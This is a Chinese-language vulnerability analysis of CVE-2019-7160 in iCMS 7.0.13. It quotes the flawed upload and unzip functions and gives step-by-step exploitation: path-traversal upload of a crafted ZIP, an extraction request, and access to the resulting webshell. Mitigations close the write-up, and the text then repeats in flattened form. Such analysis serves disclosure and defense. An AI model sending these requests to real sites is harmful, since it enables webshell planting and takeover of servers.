CVE-2019-7160 后台GETSHELL分析
字数 1104 2025-08-29 08:31:48

iCMS 7.0.13 CVE-2019-7160 后台GETSHELL漏洞分析与利用

漏洞概述

CVE-2019-7160是iCMS 7.0.13版本中存在的一个后台getshell漏洞,攻击者需要先获取后台管理员权限,然后通过两个功能点的组合利用实现任意文件上传和代码执行。

漏洞影响版本

  • iCMS 7.0.13及之前版本

漏洞原理

该漏洞由两个关键功能点组合利用:

  1. do_IO()函数允许上传ZIP文件到任意目录
  2. do_local_app()函数对上传的ZIP文件进行解压,且不检查解压后的文件内容

环境准备

  • 操作系统:OSX/Linux/Windows
  • Web服务器:Apache/Nginx
  • PHP版本:PHP 7.x
  • 数据库:MySQL 5.7
  • iCMS版本:7.0.13

漏洞详细分析

1. 文件上传功能分析

关键函数:do_IO()

public function do_IO(){
    files::$watermark_enable = $_GET['watermark'];
    $udir = iSecurity::escapeStr($_GET['udir']);
    $name = iSecurity::escapeStr($_GET['name']);
    $ext = iSecurity::escapeStr($_GET['ext']);
    
    iFS::check_ext($ext,0) OR iUI::json(array('state'=>'ERROR','msg'=>'不允许的文件类型'));
    iFS::$ERROR_TYPE = true;
    $F = iFS::IO($name,$udir,$ext);
    $F ===false && iUI::json(iFS::$ERROR);
    iUI::json(array(
        "value" => $F["path"],
        "url" => iFS::fp($F['path'],'+http'),
        "fid" => $F["fid"],
        "fileType" => $F["ext"],
        "image" => in_array($F["ext"],files::$IMG_EXT)?1:0,
        "original" => $F["oname"],
        "state" => ($F['code']?'SUCCESS':$F['state'])
    ));
}

文件处理函数:iFS::IO()

public static function IO($FileName = '', $udir = '', $FileExt = 'jpg',$type='3',$filedata=null) {
    $filedata===null && $filedata = file_get_contents('php://input');
    if (empty($filedata)) {
        return false;
    }
    $fileMd5 = md5($filedata);
    $FileName OR $FileName = $fileMd5;
    $FileSize = strlen($filedata);
    $FileExt = self::valid_ext($FileName.$FileExt); //判断文件类型
    
    if ($FileExt === false) {
        return false;
    }
    
    list($RootPath, $FileDir) = self::mk_udir($udir,$fileMd5,$FileExt); // 文件保存目录方式
    $FilePath = $FileDir . $FileName . '.' . $FileExt;
    $FileRootPath = $RootPath . $FileName . '.' . $FileExt;
    
    self::write($FileRootPath, $filedata);
    $fid = self::insert_filedata(array($FileName,'',$FileDir,'',$FileExt,$FileSize), $type);
    self::hook('upload',array($FileRootPath,$FileExt));
    
    $value = array(
        1,$fid,$fileMd5,$FileSize,
        '',$FileName,$FileName.".".$FileExt,
        $FileDir,$FileExt,
        $FileRootPath,$FilePath,$RootPath
    );
    return self::_data($value);
}

漏洞点

  • 通过udirname参数可以控制文件保存路径
  • 虽然对文件扩展名有检查,但允许上传ZIP文件
  • 可以构造路径穿越将文件上传到任意目录

2. 文件解压功能分析

关键函数:do_local_app()

public function do_local_app(){
    $zipfile = trim($_POST['zipfile']);
    echo $zipfile;
    if(preg_match("/^iCMS\.APP\.(\w+)\-v\d+\.\d+\.\d+\.zip$/", $zipfile,$match)){
        apps_store::$zip_file = iPATH.$zipfile;
        apps_store::$msg_mode = 'alert';
        apps_store::install_app($match[1]);
        iUI::success('应用安装完成','js:1');
    }else{
        iUI::alert('What the fuck!!');
    }
}

解压函数:setup_zip()

public static function setup_zip() {
    $zip_file = self::$zip_file;
    if(!file_exists($zip_file)){
        return self::msg("安装包不存在",false);
    }
    
    iPHP::vendor('PclZip');
    $zip = new PclZip($zip_file);
    if (false == ($archive_files = $zip->extract(PCLZIP_OPT_EXTRACT_AS_STRING))) {
        iFS::rm($zip_file);
        return self::msg("ZIP包错误",false);
    }
    
    if (0 == count($archive_files)) {
        iFS::rm($zipfile);
        return self::msg("空的ZIP文件",false);
    }
    return $archive_files;
}

漏洞点

  • 仅检查ZIP文件名格式,不检查内容
  • 解压时不限制解压路径
  • 可以解压包含PHP文件的ZIP包

漏洞利用步骤

1. 构造恶意ZIP文件

创建一个包含PHP代码的文件(如shell.php),内容为:

<?php phpinfo(); ?>

将其压缩为ZIP文件,并命名为符合正则表达式的格式,例如:
iCMS.APP.test-v1.1.1.zip

2. 上传ZIP文件

发送以下HTTP请求上传文件:

POST /icms/admincp.php?app=files&do=IO&frame=iPHP&ext=zip&udir=../&name=../iCMS.APP.test-v1.1.1&watermark=false HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
Cookie: [admin cookies]

[ZIP file binary data]

参数说明

  • udir=../:使用路径穿越将文件上传到根目录
  • name=../iCMS.APP.test-v1.1.1:控制文件名和路径
  • ext=zip:指定文件扩展名为zip

3. 解压ZIP文件

发送以下HTTP请求触发解压:

POST /icms/admincp.php?app=apps_store&do=local_app HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
Cookie: [admin cookies]

zipfile=iCMS.APP.test-v1.1.1.zip

4. 访问Webshell

如果ZIP中包含shell.php,解压后可通过以下URL访问:

http://target.com/shell.php

防御措施

  1. 升级到最新版本的iCMS
  2. 如果无法立即升级,可采取以下临时措施:
    • 限制后台访问IP
    • 修改do_IO()函数,严格限制上传路径
    • 修改do_local_app()函数,增加对解压文件内容的检查
  3. 加强后台管理员密码复杂度
  4. 定期审计系统日志

总结

CVE-2019-7160漏洞利用iCMS后台的两个功能点组合实现了getshell,需要管理员权限但危害严重。开发人员应重视文件上传和压缩包处理的权限控制和安全检查,避免类似漏洞的出现。

iCMS 7.0.13 CVE-2019-7160 后台GETSHELL漏洞分析与利用 漏洞概述 CVE-2019-7160是iCMS 7.0.13版本中存在的一个后台getshell漏洞,攻击者需要先获取后台管理员权限,然后通过两个功能点的组合利用实现任意文件上传和代码执行。 漏洞影响版本 iCMS 7.0.13及之前版本 漏洞原理 该漏洞由两个关键功能点组合利用: do_IO() 函数允许上传ZIP文件到任意目录 do_local_app() 函数对上传的ZIP文件进行解压,且不检查解压后的文件内容 环境准备 操作系统:OSX/Linux/Windows Web服务器:Apache/Nginx PHP版本:PHP 7.x 数据库:MySQL 5.7 iCMS版本:7.0.13 漏洞详细分析 1. 文件上传功能分析 关键函数: do_IO() 文件处理函数: iFS::IO() 漏洞点 : 通过 udir 和 name 参数可以控制文件保存路径 虽然对文件扩展名有检查,但允许上传ZIP文件 可以构造路径穿越将文件上传到任意目录 2. 文件解压功能分析 关键函数: do_local_app() 解压函数: setup_zip() 漏洞点 : 仅检查ZIP文件名格式,不检查内容 解压时不限制解压路径 可以解压包含PHP文件的ZIP包 漏洞利用步骤 1. 构造恶意ZIP文件 创建一个包含PHP代码的文件(如 shell.php ),内容为: 将其压缩为ZIP文件,并命名为符合正则表达式的格式,例如: iCMS.APP.test-v1.1.1.zip 2. 上传ZIP文件 发送以下HTTP请求上传文件: 参数说明 : udir=../ :使用路径穿越将文件上传到根目录 name=../iCMS.APP.test-v1.1.1 :控制文件名和路径 ext=zip :指定文件扩展名为zip 3. 解压ZIP文件 发送以下HTTP请求触发解压: 4. 访问Webshell 如果ZIP中包含 shell.php ,解压后可通过以下URL访问: 防御措施 升级到最新版本的iCMS 如果无法立即升级,可采取以下临时措施: 限制后台访问IP 修改 do_IO() 函数,严格限制上传路径 修改 do_local_app() 函数,增加对解压文件内容的检查 加强后台管理员密码复杂度 定期审计系统日志 总结 CVE-2019-7160漏洞利用iCMS后台的两个功能点组合实现了getshell,需要管理员权限但危害严重。开发人员应重视文件上传和压缩包处理的权限控制和安全检查,避免类似漏洞的出现。